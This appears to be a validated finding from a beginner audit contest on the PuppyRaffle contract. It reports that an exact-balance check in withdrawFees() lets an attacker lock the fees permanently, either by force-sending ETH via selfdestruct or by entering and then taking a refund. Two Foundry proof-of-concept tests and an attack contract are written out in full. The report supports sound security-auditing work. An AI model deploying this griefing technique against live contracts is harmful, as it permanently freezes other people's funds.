First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Balance check condition in require statement in withdrawFees() can prevent fees being withdrawn

0xdangit

Summary

The check in the require() statement in the first line of the PuppyRaffle:withdrawFees() function can be manipulated by a malicious contract to always be false. As a result, any fees in the contract can never be withdrawn.

Vulnerability Details

The check address(this).balance == uint256(totalFees) in the require() statement in PuppyRaffle:withdrawFees() relies on the balance of the contract matching the value of the PuppyRaffle:totalFees storage variable. The value of PuppyRaffle:totalFees is calculated in PuppyRaffle:selectWinner() whereas the balance of the contract can be manipulated by a malicious contract forcibly sending ETH to PuppyRaffle OR by a player entering the raffle and then getting a refund.

Since the comparison is looking for equality, this require() statement will always return false in this situation, preventing any fees in the contract from ever being withdrawn.

Impact

Any accumulated fees stored in the contract can not be withdrawn, and will be locked forever. There is no way for the contract to refuse to accept ETH that is forcibly sent to it.

Easily exploited - see the Foundry/Forge PoCs below. In Code1, the test testLockFeesByForceTransfer() should be copied into the PuppyRaffleTest contract, and makes use of the PuppyRaffleTest:playersEntered() function. The HackForceTransfer contract is the attack contract.

A simpler PoC is given in Code2 - it doesn't require wasting any ETH (except for gas). The malicious player simply enters the raffle and then requests a refund. The test testLockFeesByGettingRefund() should be copied into the PuppyRaffleTest contract, and makes use of the PuppyRaffleTest:playersEntered() function.

Code1
function testLockFeesByForceTransfer() public playersEntered {
address attacker = address(0xda);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
​
HackForceTransfer hack = new HackForceTransfer{value: 1 wei}(address(puppyRaffle));
​
hack.attack();
​
vm.stopPrank();
​
puppyRaffle.selectWinner();
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
​
// Attack contract that will forcibly send ETH to the victim.
contract HackForceTransfer {
address victim;
​
constructor(address _victim) payable {
victim = _victim;
}
​
function attack() external {
// Forcibly send ether to the victim contract - no way for it to refuse.
selfdestruct(payable(victim));
}
}
Code2
function testLockFeesByGettingRefund() public playersEntered {
address attacker = address(0xda);
vm.deal(attacker, 10 ether);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
vm.startPrank(attacker);
​
address[] memory newPlayers = new address[](1);
​
newPlayers[0] = attacker;
​
puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee()}(newPlayers);
​
puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(attacker));
​
vm.stopPrank();
​
puppyRaffle.selectWinner();
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Tools Used

Foundry/Forge

Recommendations

Use some other method of determining if there are still active players.

Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.